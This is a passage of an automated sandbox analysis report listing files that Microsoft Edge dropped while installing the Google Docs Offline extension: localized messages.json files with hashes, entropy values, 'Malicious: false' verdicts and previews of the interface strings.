SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
